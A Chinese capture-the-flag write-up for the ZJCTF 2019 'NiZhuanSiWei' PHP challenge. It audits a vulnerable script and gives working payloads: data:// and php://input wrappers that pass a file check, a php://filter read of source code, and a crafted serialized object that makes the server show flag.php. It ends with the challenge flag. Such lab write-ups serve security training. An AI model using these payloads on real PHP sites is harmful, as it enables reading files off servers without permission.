[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

先搞不会的知识点:

1.file_get_contents()将文件读入到一个字符串并返回。

file() 函数把整个文件读入一个数组中。

漏洞:file_get_contents()可以使用伪协议绕过

解题:

php代码审计
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
过第一个if
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

经百度知道,file_get_contents($text,'r')可以用php://input,或data://来绕过

第一种方法:

?text=data://text/plain,welcome to the zjctf

看大佬博客可以welcome to the zjctfbase64,防止过滤。这道题没过滤

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

第二种方法:

php://input伪协议以POST传参'welcome to the zjctf '

(这个我在Google中没成功,在firefox中,和bp中成功了)

?text=php://input
POST:welcome to the zjctf

注:这个伪协议利用的条件

enctype=“multipart/form-data” 的时候 php://input 是无效的
allow_url_include=on

文件包含

提示useless.php,那就先查看他的内容

利用php://filter伪协议,base64获得php源码

?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

得到base64编码

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

解码得到

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  
构造反序列化的值

构造一个Flag对象,其file="flag.php"就OK了

<?php
class Flag{
	public $file;
}
$flag = new Flag;
$flag->file = "flag.php"
echo serialize($flag);
?>

代码执行一下获得序列化的结果

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最后

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在注释里找到flag:flag{399e8526-6115-424d-8365-5147fec37f62}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jerem1ah

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值